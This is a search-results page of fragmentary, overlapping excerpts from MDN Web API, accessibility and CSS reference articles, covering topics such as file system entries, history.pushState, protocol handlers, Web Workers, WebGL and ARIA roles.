... about a given origin, using either three or six parameters depending on the browser support. these new matrices are then applied to the blue and green squares as a transform, changing their dimensions and position. the red square is left in place. ...
...And 2 more matches
DirectoryReaderSync - Web APIs
ng a list of filesystem: urls—which are just strings—instead of a list of entries. you can also use the filesystem: url to look up the entry with resolvelocalfilesystemurl(). that gets you back to a directoryentrysync (as well as fileentrysync) object. example in the following code snippet from html5rocks, we create web workers and pass data from it to the main app. // taking care of the browser-specific prefixes. window.resolvelocalfilesystemurl = window.resolvelocalfilesystemurl || window.webkitresolvelocalfilesystemurl; // create web workers var worker = new worker('worker.js'); worker.onmessage = function(e) { var urls = e.data.entries; urls.foreach(function(url, i) { window.resolvelocalfilesystemurl(url, function(fileentry)...
... worker.onmessage = function(e) { var urls = e.data.entries; urls.foreach(function(url, i) { window.resolvelocalfilesystemurl(url, function(fileentry) { // print out file's name. console.log(fileentry.name); }); }); }; worker.postmessage({'cmd': 'list'}); the following is worker.js code that gets the contents of the directory. // taking care of the browser-specific prefixes. self.requestfilesystemsync = self.webkitrequestfilesystemsync || self.requestfilesystemsync; // global for holding the list of entry file system urls. var paths = []; function getallentries(dirreader) { var entries = dirreader.readentries(); for (var i = 0, entry; entry = entries[i]; ++i) { // stash this entry's filesystem in url pa...
...turned. entrysync readentries ( ) raises (fileexception); returns parameter none exceptions this method can raise a fileexception with the following codes: exception description not_found_err the directory does not exist. invalid_state_err the directory has been modified since the first call to readentries was processed. security_err the browser determined that it was not safe to look up the metadata. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for andro...
...And 2 more matches
Document - Web APIs
Web › API › Document
the dom tree includes elements such as <body> and <table>, among many others. it provides functionality globally to the document, like how to obtain the page's url and create new elements in the document. ...
... returns the uri of the page that linked to this page. document.title sets or gets the title of the current document. document.urlread only returns the document location as a string. properties included from documentorshadowroot the document interface includes the following properties defined on the documentorshadowroot mixin. note that this is currently only implemented by chrome; other browsers still implement them directly on the document interface. documentorshadowroot.activeelementread only returns the element within the shadow tree that has focus. document.fullscreenelementread only the element that's currently in full screen mode for this document. documentorshadowroot.pointerlockelement read only returns the element set as the target for mouse events while the point...
... an xpathexpression which can then be used for (repeated) evaluations. document.creatensresolver() creates an xpathnsresolver object. document.evaluate() evaluates an xpath expression. extension for html documents the document interface for html documents inherit from the htmldocument interface or, since html5, is extended for such documents: document.clear() in majority of modern browsers, including recent versions of firefox and internet explorer, this method does nothing. document.close() closes a document stream for writing. document.execcommand() on an editable document, executes a formating command. document.getelementsbyname() returns a list of elements with the given name. document.hasfocus() returns true if the focus is currently located anywhere inside the spec...
...And 2 more matches
HTMLImageElement.src - Web APIs
the htmlimageelement property src, which reflects the html src attribute, specifies the image to display in the <img> element. syntax htmlimageelement.src = newsource; let src = htmlimageelement.src; value when providing only a single image, rather than a set of images from which the browser selects the best match for the viewport size and display pixel density, the src attribute is a usvstring specifying the url of the desired image. ...
...te is a usvstring specifying the url of the desired image. this can be set either within the html itself using the src content attribute, or programmatically by setting the element's src property. if you use the srcset content attribute to provide multiple image options for different display pixel densities, the url specified by the src attribute is used in one of two ways: as a fallback for browsers that don't support srcset. as an equivalent for specifying an image in srcset with the size multiplier 1x; that is, the image specified by src is used on low-density screens (such as typical 72 dpi or 96 dpi displays). additionally, if you use src along with both sizes (or the corresponding sizes content attribute) and srcset in order to choose an image based on the viewport size, the src a...
...ivalent for specifying an image in srcset with the size multiplier 1x; that is, the image specified by src is used on low-density screens (such as typical 72 dpi or 96 dpi displays). ...
...And 2 more matches
HTMLMediaElement.srcObject - Web APIs
the srcobject property of the htmlmediaelement interface sets or returns the object which serves as the source of the media associated with the htmlmediaelement. the object can be a mediastream, a mediasource, a blob, or a file (which inherits from blob). note: as of march 2020, only safari supports setting objects other than mediastream. until other browsers catch up, for mediasource, blob and file, consider falling back to creating a url with url.createobjecturl() and assign it to htmlmediaelement.src. see below for an example. syntax var sourceobject = htmlmediaelement.srcobject; htmlmediaelement.srcobject = sourceobject; value a mediastream, mediasource, blob, or file object (though see the compatibility table for what is actually supported). usage notes older versions of the m...
...r.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); video.srcobject = mediastream; in this example, a new mediasource is assigned to a newly-created <video> element. const mediasource = new mediasource(); const video = document.createelement('video'); video.srcobject = mediasource; supporting fallback to the src property the examples below support older browser versions that require you to create an object url and assign it to src if srcobject isn't supported. first, a mediastream from a camera is assigned to a newly-created <video> element, with fallback for older browsers. const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); if ('srcobject' in video) { video.srcobject = medi...
... url and assign it to src if srcobject isn't supported. first, a mediastream from a camera is assigned to a newly-created <video> element, with fallback for older browsers. const mediastream = await navigator.mediadevices.getusermedia({video: true}); const video = document.createelement('video'); if ('srcobject' in video) { video.srcobject = mediastream; } else { // avoid using this in new browsers, as it is going away. ...
...And 2 more matches
History.pushState() - Web APIs
Web › API › History › pushState
in an html document, the history.pushstate() method adds a state to the browser's session history stack. syntax history.pushstate(state, title[, url]) parameters state the state object is a javascript object which is associated with the new history entry created by pushstate(). whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. the state object can be anything that can be serialized. because firefox saves state objects to the user's disk so they can be restored after the user restarts the browser, we impose a size limit of 640k characters on the serialized representation of a state object. if you pass a state object whose serialized representation is larger than this to pushs...
...disk so they can be restored after the user restarts the browser, we impose a size limit of 640k characters on the serialized representation of a state object. if you pass a state object whose serialized representation is larger than this to pushstate(), the method will throw an exception. if you need more space than this, you're encouraged to use sessionstorage and/or localstorage. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state to which you're moving. url optional the new history entry's url is given by this parameter. ...
...the new url does not need to be absolute; if it's relative, it's resolved relative to the current url. ...
...And 2 more matches
Web-based protocol handlers - Web APIs
background it's fairly common to find web pages link to resources using non-http protocols. an example is the mailto: protocol: <a href="mailto:webmaster@example.com">web master</a> web authors can use a mailto: link when they want to provide a convenient way for users to send an email, directly from the webpage. when the link is activated, the browser should launch the default desktop application for handling email. you can think of this as a desktop-based protocol handler. web-based protocol handlers allow web-based applications to participate in the process too. this is becoming more important as more types of applications migrate to the web. in fact, there are many web-based email handling applications that could process a mailto link. registering setting up a web application as a...
...ns to participate in the process too. this is becoming more important as more types of applications migrate to the web. in fact, there are many web-based email handling applications that could process a mailto link. registering setting up a web application as a protocol handler is not a difficult process. basically, the web application uses registerprotocolhandler() to register itself with the browser as a potential handler for a given protocol. for example: navigator.registerprotocolhandler("web+burger", "http://www.google.co.uk/?uri=%s", "burger handler"); where the parameters are: the protocol. the url template, used as the handler. the "%s" is replaced with the href of the link and a get is executed on the resultan...
...ator.registerprotocolhandler("web+burger", "http://www.google.co.uk/?uri=%s", "burger handler"); where the parameters are: the protocol. the url template, used as the handler. the "%s" is replaced with the href of the link and a get is executed on the resultant url. the user friendly name for the protocol handler. when a browser executes this code, it should display a prompt to the user, asking permission to allow the web application to register as a handler for the protocol. firefox displays a prompt in the notification bar area: note:the url template supplied when registering must be of the same domain as the webpage attempting to perform the registration or the registration will fail. for example, http://example.
...And 2 more matches
Navigator.registerProtocolHandler() - Web APIs
the navigator method registerprotocolhandler() lets web sites register their ability to open or handle particular url schemes (aka protocols). for example, this api lets webmail sites open mailto: urls, or voip sites open tel: urls. syntax navigator.registerprotocolhandler(scheme, url, title); note: recently updated to navigator.registerprotocolhandler(scheme, url), but no browsers currently support this version. parameters scheme a string containing the protocol the site wishes to handle. for example, you can register to handle sms text message links by passing the "sms" scheme. url a string containing the url of the handler. this url must include %s, as a placeholder that will be replaced with the escaped url to be handled. note: the handler url must us the https sche...
...ort this version. parameters scheme a string containing the protocol the site wishes to handle. for example, you can register to handle sms text message links by passing the "sms" scheme. url a string containing the url of the handler. this url must include %s, as a placeholder that will be replaced with the escaped url to be handled. note: the handler url must us the https scheme. older browsers also supported http. title a human-readable title string for the handler. this will be displayed to the user, such as prompting “allow this site to handle [scheme] links?” or listing registered handlers in the browser’s settings. note: the title has been removed from the spec due to spoofing concerns, but all current browsers still require it. it is recommended to always set the t...
...orted http. title a human-readable title string for the handler. this will be displayed to the user, such as prompting “allow this site to handle [scheme] links?” or listing registered handlers in the browser’s settings. note: the title has been removed from the spec due to spoofing concerns, but all current browsers still require it. it is recommended to always set the title, since browsers that support the updated spec most likely will be backwards-compatible and still accept the title (but not use it). ...
...And 2 more matches
NavigatorID.userAgent - Web APIs
the navigatorid.useragent read-only property returns the user agent string for the current browser. the specification asks browsers to provide as little information via this field as possible. never assume that the value of this property will stay the same in future versions of the same browser. try not to use it at all, or only for current and past versions of a browser. new browsers may start using the same ua, or part of it, as an older browser: you really have no guarantee that the browser agent is indeed the one advertised by this property. also keep in mind that users of a browser can change the value of this field if they want (ua spoofing). ...
...uture versions of the same browser. try not to use it at all, or only for current and past versions of a browser. new browsers may start using the same ua, or part of it, as an older browser: you really have no guarantee that the browser agent is indeed the one advertised by this property. also keep in mind that users of a browser can change the value of this field if they want (ua spoofing). browser identification based on detecting the user agent string is unreliable and is not recommended, as the user agent string is user configurable. for example: in firefox, you can change the preference general.useragent.override in about:config. ...
... field if they want (ua spoofing). browser identification based on detecting the user agent string is unreliable and is not recommended, as the user agent string is user configurable. for example: in firefox, you can change the preference general.useragent.override in about:config. some firefox extensions do that; however, this only changes the http header that gets sent, and doesn't affect browser detection performed by javascript code. opera 6+ allows users to set the browser identification string via a menu. microsoft internet explorer uses the windows registry. safari and icab allow users to change the browser user agent string to predefined internet explorer or netscape strings via a menu. syntax var ua = navigator.useragent; value a domstring specifying the complete user ag...
...And 2 more matches
Notification - Web APIs
operties these properties are available only on the notification object itself. notification.permission read only a string representing the current permission to display notifications. possible values are: denied — the user refuses to have notifications displayed. granted — the user accepts having notifications displayed. default — the user choice is unknown and therefore the browser will act as if the value were denied. notification.maxactions read only instance properties these properties are available only on instances of the notification object. notification.actions read only the actions array of the notification as specified in the constructor's options parameter. notification.badge read only the url of the image used to represent the notification when...
... it's possible to send a notification as follows — here we present a fairly verbose and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification. ...
...e and complete set of code you could use if you wanted to first check whether notifications are supported, then check if permission has been granted for the current origin to send notifications, then request permission if required, before then sending a notification. ...
...And 2 more matches
Pointer Lock API - Web APIs
mouse input to control movements, rotate objects, and change entries, for example allowing users to control the viewing angle simply by moving the mouse around without any button clicking. the buttons are then freed up for other actions. other examples include apps for viewing maps or satellite imagery. pointer lock lets you access mouse events even when the cursor goes past the boundary of the browser or screen. for example, your users can continue to rotate or manipulate a 3d model by moving the mouse without end. without pointer lock, the rotation or manipulation stops the moment the pointer reaches the edge of the browser or screen. game players can now click buttons and swipe the mouse cursor back and forth without worrying about leaving the game play area and accidentally clicking anoth...
... mouse capture. mouse capture provides continued delivery of events to a target element while a mouse is being dragged, but it stops when the mouse button is released. pointer lock is different from mouse capture in the following ways: it is persistent: pointer lock does not release the mouse until an explicit api call is made or the user uses a specific release gesture. it is not limited by browser or screen boundaries. it continues to send events regardless of mouse button state. it hides the cursor. method/properties overview this section provides a brief description of each property and method related to the pointer lock specification. requestpointerlock() the pointer lock api, similar to the fullscreen api, extends dom elements by adding a new method, requestpointerlock(). as i...
...se is continuously moving in a single direction. the concept of the mouse cursor does not exist and the cursor cannot move off the window or be clamped by a screen edge. unlocked state the parameters movementx and movementy are valid regardless of the mouse lock state, and are available even when unlocked for convenience. when the mouse is unlocked, the system cursor can exit and re-enter the browser window. if that happens, movementx and movementy could be set to zero. simple example walkthrough we've written a simple pointer lock demo to show you how to use it to set up a simple control system (see source code). the demo looks like this: this demo uses javascript to draw a ball on top of an <canvas> element. when you click the canvas, pointer lock is then used to remove the mouse poi...
...And 2 more matches
Request.cache - Web APIs
Web › API › Request › cache
the cache read-only property of the request interface contains the cache mode of the request. it controls how the request will interact with the browser's http cache. syntax var currentcachemode = request.cache; value a requestcache value. the available values are: default — the browser looks for a matching request in its http cache. if there is a match and it is fresh, it will be returned from the cache. if there is a match but it is stale, the browser will make a conditional request to the remote server. if the server indicates that the resource has not changed, it will be returned from the cache. ...
... if there is a match and it is fresh, it will be returned from the cache. if there is a match but it is stale, the browser will make a conditional request to the remote server. if the server indicates that the resource has not changed, it will be returned from the cache. otherwise the resource will be downloaded from the server and the cache will be updated. if there is no match, the browser will make a normal request, and will update the cache with the downloaded resource. no-store — the browser fetches the resource from the remote server without first looking in the cache, and will not update the cache with the downloaded resource. ...
.... otherwise the resource will be downloaded from the server and the cache will be updated. if there is no match, the browser will make a normal request, and will update the cache with the downloaded resource. no-store — the browser fetches the resource from the remote server without first looking in the cache, and will not update the cache with the downloaded resource. reload — the browser fetches the resource from the remote server without first looking in the cache, but then will update the cache with the downloaded resource. no-cache — the browser looks for a matching request in its http cache. if there is a match, fresh or stale, the browser will make a conditional request to the remote server. if the server indicates that the resource has not changed, it will be ret...
...And 2 more matches
Using the Screen Capture API - Web APIs
in this article, we will examine how to use the screen capture api and its getdisplaymedia() method to capture part or all of a screen for streaming, recording, or sharing during a webrtc conference session. note: it may be useful to note that recent versions of the webrtc adapter.js shim include implementations of getdisplaymedia() to enable screen sharing on browsers that support it but do not implement the current standard api. this works with at least chrome, edge, and firefox. capturing screen contents capturing screen contents as a live mediastream is initiated by calling navigator.mediadevices.getdisplaymedia(), which returns a promise that resolves to a stream containing the live screen contents. starting screen capture: async/await style async function startcapture(displaymed...
...face to capture you can then use the captured stream, capturestream, for anything that accepts a stream as input. the examples below show a few ways to make use of the stream. visible vs logical display surfaces for the purposes of the screen capture api, a display surface is any content object that can be selected by the api for sharing purposes. sharing surfaces include the contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface). there are two types of display surface. a visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen. a logical display surface is one which is in part o...
...y surface. a visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen. a logical display surface is one which is in part or completely obscured, either by being overlapped by another object to some extent, or by being entirely hidden or offscreen. how these are handled by the screen capture api varies. generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern. this is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share. a user agent might allow the capture of the entire content of an obscured window after gaining permission ...
...And 2 more matches
Using readable streams - Web APIs
is article explains the basics. note: this article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information on writable streams try using writable streams instead. browser support you can consume fetch body objects as streams and create your own custom readable streams in firefox 65+ and chrome 42+ (and equivalent chromium-based browsers). pipe chains are only supported in chrome at the moment, and that functionality is subject to change. finding some examples we will look at various examples in this article, taken from our dom-examples/streams repo. you can f...
... finding some examples we will look at various examples in this article, taken from our dom-examples/streams repo. you can find the full source code there, as well as links to the examples. consuming a fetch as a stream the fetch api allows you to fetch resources across the network, providing a modern alternative to xhr. it has a number of advantages, and what is really nice about it is that browsers have recently added the ability to consume a fetch response as a readable stream. the body mixin now includes the body property, which is a simple getter exposing the body contents as a readable stream. this mixin is implemented by both the request and response interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more obvious. as our simpl...
...our own custom readable stream the simple stream pump example we’ve been studying throughout this article includes a second part — once we’ve read the image from the fetch body in chunks, we then enqueue them into another, custom stream of our own creation. how do we create this? the readablestream() constructor. the readablestream() constructor it is easy to read from a stream when the browser provides it for you as in the case of fetch, but sometimes you need to create a custom stream and populate it with your own chunks. the readablestream() constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad. the generic syntax skeleton looks like this: const stream = new readablestream({ start(controller) { }, pull(controller) { }, ...
...And 2 more matches
WebGLRenderingContext - Web APIs
executed as quickly as possible. working with extensions these methods manage webgl extensions: webglrenderingcontext.getsupportedextensions() returns an array of domstring elements with all the supported webgl extensions. webglrenderingcontext.getextension() returns an extension object. examples webgl context feature detection in this first example we are going to check whether the browser supports webgl. to that end we will try to obtain the webgl rendering context from a canvas element. the webgl rendering context is an interface, through which you can set and query the state of the graphics machine, send data to the webgl, and execute draw commands. saving the state of the graphics machine within a single context interface is not unique to webgl. this is also done in other gr...
...ed element size, determined by css. this is done by assigning the width and height properties of the canvas to the values of the clientwidth and clientheight properties, respectively. in contrast, no such assignment is done for the second canvas. ...
...are different than the actual size of the canvas element in the browser window. the effect is clearly visible when using scissor() and clear() to draw a square in the center of the canvas, by specifying its position and size in pixels. in the first canvas, we get the desired result. in the second, the square has the wrong shape, size, and position. ...
...And 2 more matches
Canvas size and WebGL - Web APIs
« previousnext » this webgl example explores the effect of setting (or not setting) the canvas size to its element size in css pixels, as it appears in the browser window. effect of canvas size on rendering with webgl with scissor() and clear() we can demonstrate how the webgl drawing buffer is affected by the size of the canvas. the size of the first canvas is set to the styled element size, determined by css. this is done by assigning the width and height properties of the canvas to the values of the clientwidth and clientheight properties, respectively. ...
...ed element size, determined by css. this is done by assigning the width and height properties of the canvas to the values of the clientwidth and clientheight properties, respectively. in contrast, no such assignment is done for the second canvas. ...
...e different than the actual size of the canvas element in the browser window. the effect is clearly visible when using scissor() and clear() to draw a square in the center of the canvas, by specifying its position and size in pixels. in the first canvas, we get the desired result. in the second, the square has the wrong shape, size, and position. ...
...And 2 more matches
Lighting a WebXR setting - Web APIs
a number of potential security issues involved with collecting all of this data in order to generate and apply lighting to your virtual objects using real-world data. of course, many ar applications make it pretty clear where the user is located. if the user is running an app called touring the louvre, there's a very good chance the user is located in the musée du louvre in paris, france. but browsers are required to take a number of steps to make it difficult to physically locate the user without their consent. ambient light sensor api the collection of light data using the ambient light sensor api introduces various potential privacy issues. lighting information can leak to the web information about the user's surroundings and device usage patterns. such information can be used to en...
...ion can be used to enhance user profiling and behavior analysis data. if two or more devices access content that uses the same third-party script, that script can be used to correlate lighting information and how it changes over time to attempt to determine a spatial relationship between the devices; this could in theory indicate that the devices are in the same general area, for example. how browsers mitigate these issues in order to help mitigate these risks, browsers are required by the webxr lighting estimation api specification to report lighting information that is fudged somewhat from the true value. there are many ways this could be done. spherical harmonics precision browsers can mitigate the risk of fingerprinting by reducing the precision of spherical harmonics. when performin...
...rmonics precision browsers can mitigate the risk of fingerprinting by reducing the precision of spherical harmonics. when performing real-time rendering—as is the case with any virtual or augmented reality application—spherical harmonic lighting is used to simplify and accelerate the process of generating highly realistic shadows and shading. by altering the accuracy of these functions, the browser makes the data less consistent, and, importantly, makes the data generated by two computers differ, even in the same setting. ...
...And 2 more matches
Web Animations API Concepts - Web APIs
this article will introduce you to the important concepts behind the waapi, providing you with a theoretical understanding of how it works so you can use it effectively. to learn how to put the api to use, check out its sister article, using the web animations api. the web animations api fills the gap between declarative css animations and transitions, and dynamic javascript animations. ...
...e can use it to create and manipulate css-like animations that go from one pre-defined state to another, or we can use variables, loops, and callbacks to create interactive animations that adapt and react to changing inputs. history over a decade ago, synchronized multimedia integration language, or smil (pronounced "smile"), brought animation to svg. back then it was the only animation engine browsers had to worry about. while four out of five browsers supported smil, it only animated svg elements, could not be used from css, and was very complex — often leading to inconsistent implementations. ten years later, the safari team introduced the css animations and css transitions specs. the internet explorer team requested an animations api to consolidate and normalize animation functionalit...
...ry about. while four out of five browsers supported smil, it only animated svg elements, could not be used from css, and was very complex — often leading to inconsistent implementations. ten years later, the safari team introduced the css animations and css transitions specs. the internet explorer team requested an animations api to consolidate and normalize animation functionality across all browsers, and thus efforts began in earnest among mozilla firefox and google chrome developers to create the one animation spec to rule them all: the web animations api. now we’ve got the waapi for future animation specifications to piggyback on, allowing them to to remain consistent and play well together. ...
...And 2 more matches
Web Audio API best practices - Web APIs
aelement (i.e. an <audio> or <video> element), or you're looking to fetch the file and decode it into a buffer. both are legitimate ways of working, however, it's more common to use the former when you are working with full-length tracks, and the latter when working with shorter, more sample-like tracks. media elements have streaming support out of the box. the audio will start playing when the browser determines it can load the rest of the file before playing finishes. you can see an example of how to use this with the web audio api in the using the web audio api tutorial. you will, however, have more control if you use a buffer node. you have to request the file and wait for it to load (this section of our advanced article shows a good way to do it), but then you have access to the data di...
...de interface. this is good for webrtc and situations where you might want to record or possibly analyse audio. the last way is to generate your own sound, which can be done with either an oscillatornode or by creating a buffer and populating it with your own data. check out the tutorial here for creating your own instrument for information on creating sounds with oscillators and buffers. cross browser & legacy support the web audio api specification is constantly evolving and like most things on the web, there are some issues with it working consistently across browsers. here we'll look at options for getting around cross-browser problems. there's the standardised-audio-context npm package, which creates api functionality consistently across browsers, full holes as they are found. it's con...
...although it doesn't harness the full gamut of filters and other effects the web audio api comes with, you can do most of what you'd want to do. ...
...And 2 more matches
Using Web Workers - Web APIs
any global objects from each script may then be used by the worker. if the script can't be loaded, network_error is thrown, and subsequent code will not be executed. previously executed code (including code deferred using window.settimeout()) will still be functional though. function declarations after the importscripts() method are also kept, since the...
... by different script files: multiplying two numbers, or squaring a number. both scripts use the same worker to do the actual calculation required. here we'll concentrate on the differences between dedicated and shared workers. note that in this example we have two html pages, each with javascript applied that uses the same single worker file. note: if sharedworker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port). note: in firefox, shared workers cannot be shared between documents loaded in private and non-private windows (bug 1177621). spawning a shared worker spawning a new shared worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html a...
...sp of the document or worker that created it. transferring data to and from workers: further details data passed between the main page and workers is copied, not shared. objects are serialized as they're handed to the worker, and subsequently, de-serialized on the other end. the page and worker do not share the same instance, so the end result is that a duplicate is created on each end. most browsers implement this feature as structured cloning. to illustrate this, let's create for didactical purpose a function named emulatemessage(), which will simulate the behavior of a value that is cloned and not shared during the passage from a worker to the main page or vice versa: function emulatemessage(vval) { return eval('(' + json.stringify(vval) + ')'); } // tests // test #1 var example...
...And 2 more matches
Window: popstate event - Web APIs
methods and their corresponding events can be used to add data to the history stack which can be used to reconstruct a dynamically generated page, or to otherwise alter the state of the content being presented while remaining on the same document. note that just calling history.pushstate() or history.replacestate() won't trigger a popstate event. the popstate event will be triggered by doing a browser action such as a click on the back or forward button (or calling history.back() or history.forward() in javascript). browsers tend to handle the popstate event differently on page load. chrome (prior to v34) and safari always emit a popstate event on page load, but firefox doesn't. note: when writing functions that process popstate event it is important to take into account that properties l...
...rtant to take into account that properties like window.location will already reflect the state change (if it affected the current url), but document might still not. if the goal is to catch the moment when the new document state is already fully in place, a zero-delay settimeout() method call should be used to effectively put its inner callback function that does the processing at the end of the browser event loop: window.onpopstate = () => settimeout(dosomething, 0); when popstate is sent when the transition occurs, either due to the user triggering the browser's "back" button or otherwise, the popstate event is near the end of the process to transition to the new location. it happens after the new location has loaded (if needed), displayed, made visible, and so on, after the pageshow even...
...create its document before continuing. this will eventually send events such as domcontentloaded and load to the window containing the document, but the steps below will continue to execute in the meantime. if current-entry's title wasn't set using one of the history api methods (pushstate() or replacestate(), set the entry's title to the string returned by its document.title attribute. if the browser has state information it wishes to store with the current-entry before navigating away from it, it then does so. the entry is now said to have "persisted user state." this information the browser might add to the history session entry may include, for instance, the document's scroll position, the values of form inputs, and other such data. if new-entry has a different document object than curr...
...And 2 more matches
Window.requestFileSystem() - Web APIs
indow method requestfilesystem() method is a google chrome-specific method which lets a web site or app gain access to a sandboxed file system for its own use. the returned filesystem is then available for use with the other file system apis. even compared to the rest of the file and directory entries api, requestfilesystem() is especially non-standard; only chrome implements it, and all other browser makers have decided that they will not implement it. it has even been removed from the proposed specification. do not use this method! syntax this method is prefixed with webkit in all browsers that implement it (that is, google chrome). window.requestfilesystem(type, size, successcallback[, errorcallback]); parameters type the type of storage to request. specify window.temporary if ...
...at they will not implement it. it has even been removed from the proposed specification. do not use this method! syntax this method is prefixed with webkit in all browsers that implement it (that is, google chrome). window.requestfilesystem(type, size, successcallback[, errorcallback]); parameters type the type of storage to request. specify window.temporary if it's acceptable for the browser to delete the files at its own discretion, such as if storage space runs low, or window.persistent if you need the files to remain in place unless the user or the web site or app explicitly permit it. persistent storage requires that the user grant the site quota. size the amount of storage space you wish to have allocated for your app's use. successcallback a function which is invoked when...
... or if the user denies permission to create or access the file system. the callback receives as input a single parameter: a fileerror object describing the error. return value undefined example specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestfilesystem experi...
...And 2 more matches
XSLTProcessor - Web APIs
an xsltprocessor applies an xslt stylesheet transformation to an xml document to produce a new xml document as output. it has methods to load the xslt stylesheet, to manipulate <xsl:param> parameter values, and to apply the transformation to documents. syntax the constructor has no parameters. new xsltprocessor() methods [throws] void xsltprocessor.importstylesheet(node stylesheet) imports the xslt stylesheet. ...
... to apply the transformation to documents. syntax the constructor has no parameters. new xsltprocessor() methods [throws] void xsltprocessor.importstylesheet(node stylesheet) imports the xslt stylesheet. if the given node is a document node, you can pass in a full xsl transform or a literal result element transform; otherwise, it must be an <xsl:stylesheet> or <xsl:transform> element. [throws] documentfragment xsltprocessor.transformtofragment(node source, document owner) transforms the node source by applying the stylesheet imported using the xsltprocessor.importstylesheet() function. the owner document of the resulting document fragment is the owner node. ...
...nsform or a literal result element transform; otherwise, it must be an <xsl:stylesheet> or <xsl:transform> element. [throws] documentfragment xsltprocessor.transformtofragment(node source, document owner) transforms the node source by applying the stylesheet imported using the xsltprocessor.importstylesheet() function. the owner document of the resulting document fragment is the owner node. [throws] document xsltprocessor.transformtodocument(node source) transforms the node source applying the stylesheet given importing using the xsltprocessor.importstylesheet() function. the resultant object depends on the output method of the stylesheet: output method result type html htmldocument xml xmldocument text xmldocument...
...And 2 more matches
ARIA: application role - Accessibility
dants to be treated like they are part of a desktop application. description the application role indicates to assistive technologies that this part of the web content contains elements that do not conform to any other known html element or wai-aria widget. any sort of special interpretation of html structures and widgets should be suspended, and control should be completely handed over to the browser and web application to handle mouse, keyboard, or touch interaction. in this mode, the web author is completely responsible for handling any and all keyboard input, focus management, and other interactions and cannot assume assistive technologies would do any processing on their end. if the web application encompassed by the application role contains parts that should be treated like normal w...
...tive technologies would do any processing on their end. if the web application encompassed by the application role contains parts that should be treated like normal web content, a role of document or article should be used. background for historic reasons, especially on windows, screen readers and some other assistive technologies (at) have traditionally grabbed the whole web content from the browser at once after it had finished loading. the ats build their own representation of it that makes the most sense for a blind user to consume the content. this is often referred to as virtual document, browse mode, or similar terms. the document is streamlined to a single-column view. a keyboard interaction model is generated that is very similar to a word processor where users can read line by lin...
...s. in addition, a set of so-called quick navigation keys has been established over the years that allows blind users to skim through a page via a certain element type. such elements usually include headings, form fields, lists, tables, links, graphics, or landmark regions. for all of this to work, ats intercept almost all keyboard input and consume it themselves, letting nothing through to the browser or other user agent. to be able to interact with a web page, a standard set of widgets is recognized that, when pressing a certain key (usually the enter key) this mode is switched off. the screen reader mode, often called forms mode or focus mode, lets all keyboard input go through to the browser again. escape is the most common way of switching back to browse mode. the application role is de...
...And 2 more matches
WAI-ARIA Roles - Accessibility
dialogs can be either non-modal (it's still possible to interact with content outside of the dialog) or modal (only the content in the dialog can be interacted with).aria: document rolegenerally used in complex composite widgets or applications, the document role can inform assistive technologies to switch context to a reading mode: the document role tells assistive technologies with reading or browse modes to use the document mode to read the content contained within this element.aria: feed rolea feed is a dynamic scrollable list of articles in which articles are added to or removed from either end of the list as the user scrolls. a feed enables screen readers to use the browse mode reading cursor to both read and scroll through a stream of rich content that may continue scrolling infinitely...
...ot already exist. a figure is generally considered to be one or more images, code snippets, or other content that puts across information in a different way to a regular flow of text.aria: form rolethe form landmark role can be used to identify a group of elements on a page that provide equivalent functionality to an html form.aria: grid rolethe grid role is for a widget that contains one or more rows of cells. the position of each cell is significant and can be focused using keyboard input.aria: gridcell rolethe gridcell role is used to make a cell in a grid or treegrid. it is intended to mimic the functionality of the html td element for table-style grouping of information.aria: heading rolethe heading role defines this element as a heading to a page or section. to give the page more structu...
...e to be able to navigate to easily when none of the other landmark roles are appropriate.aria: row rolean element with role="row" is a row of cells within a tabular structure. ...
...And 2 more matches
system - CSS: Cascading Style Sheets
be taken from the extended counter style specified. if the specified counter style name in extends, is not a currently defined counter style name, it will instead extend from the decimal counter style. it must not contain a symbols or additive-symbols descriptor, or else the counter style rule is invalid. ...
...the browser will treat all the participating counter styles as extending from the decimal style. ...
...ter-style-name> ]where <counter-style-name> = <custom-ident> examples cyclic counter if your browser supports it, this example will render a list like this: ◉ one ◉ two ◉ three css <ul> <li>one</li> <li>two</li> <li>three</li> </ul> @counter-style fisheye { system: cyclic; symbols: ◉; suffix: " "; } ul { list-style: fisheye; } result fixed counter if your browser supports it, this example will render a list like this: ➀ one ➁ two ➂ three 4 four 5 five css <ul> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> @counter-style circled-digits { system: fixed; symbols: ➀ ➁ ➂; suffix: ' '; } ul { list-style: circled-digits; } result symbolic counter if your browser supports it, this examp...
...And 2 more matches
Border-image generator - CSS: Cascading Style Sheets
